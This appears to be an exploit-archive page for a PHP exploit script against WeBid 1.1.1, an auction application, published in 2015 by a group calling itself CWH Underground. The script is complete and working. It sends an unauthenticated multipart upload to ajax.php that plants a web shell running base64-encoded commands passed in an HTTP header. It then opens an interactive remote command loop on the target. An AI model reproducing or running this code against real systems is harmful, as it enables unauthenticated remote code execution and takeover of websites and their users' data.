exploit the possibilities

WeBid 1.1.1 Unrestricted File Upload

WeBid 1.1.1 Unrestricted File Upload
Posted Feb 21, 2015
Authored by CWH Underground

WeBid version 1.1.1 suffers from an unrestricted file upload vulnerability.

tags | exploit, file upload
MD5 | 1de3fff9426c55ae0623e3e34e6f62a7

WeBid 1.1.1 Unrestricted File Upload

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<?php

/*

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

Exploit Title : WeBid 1.1.1 Unrestricted File Upload Exploit
Date : 20 February 2015
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://www.webidsupport.com/
Software Link : http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.1.1/WeBid-1.1.1.zip/download
Version : 1.1.1
Tested on : Window and Linux


#####################################################
VULNERABILITY: Arbitrary File Upload Vulnerability
#####################################################

/ajax.php
/inc/plupload/examples/upload.php

#####################################################
DESCRIPTION
#####################################################

This exploit a file upload vulnerability found in WeBid 1.1.1, and possibly prior. Attackers can abuse the
upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.

#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+----------------------------------------+";
print "\n| WeBid Unrestricted File Upload Exploit |";
print "\n+----------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /WeBid/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"name\"\r\n\r\n";
$payload .= "shell.php\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet = "POST {$path}ajax.php?do=uploadaucimages HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Cookie: PHPSESSID=cwh"."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

print "\n\nExploiting...";
sleep(2);
print "Waiting for shell...\n";
sleep(2);

http_send($host, $packet);

$packet = "GET {$path}uploaded/cwh/shell.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

print "\n ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| `--------' | O \n";
print " `+---------------------------^----------| \n";
print " `\_,-------, _________________________| \n";
print " / XXXXXX /`| / \n";
print " / XXXXXX / `\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground Hacking Team .. \n";
print " (________( \n";
print " `------' \n";

while(1)
{
print "\nWebid-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>

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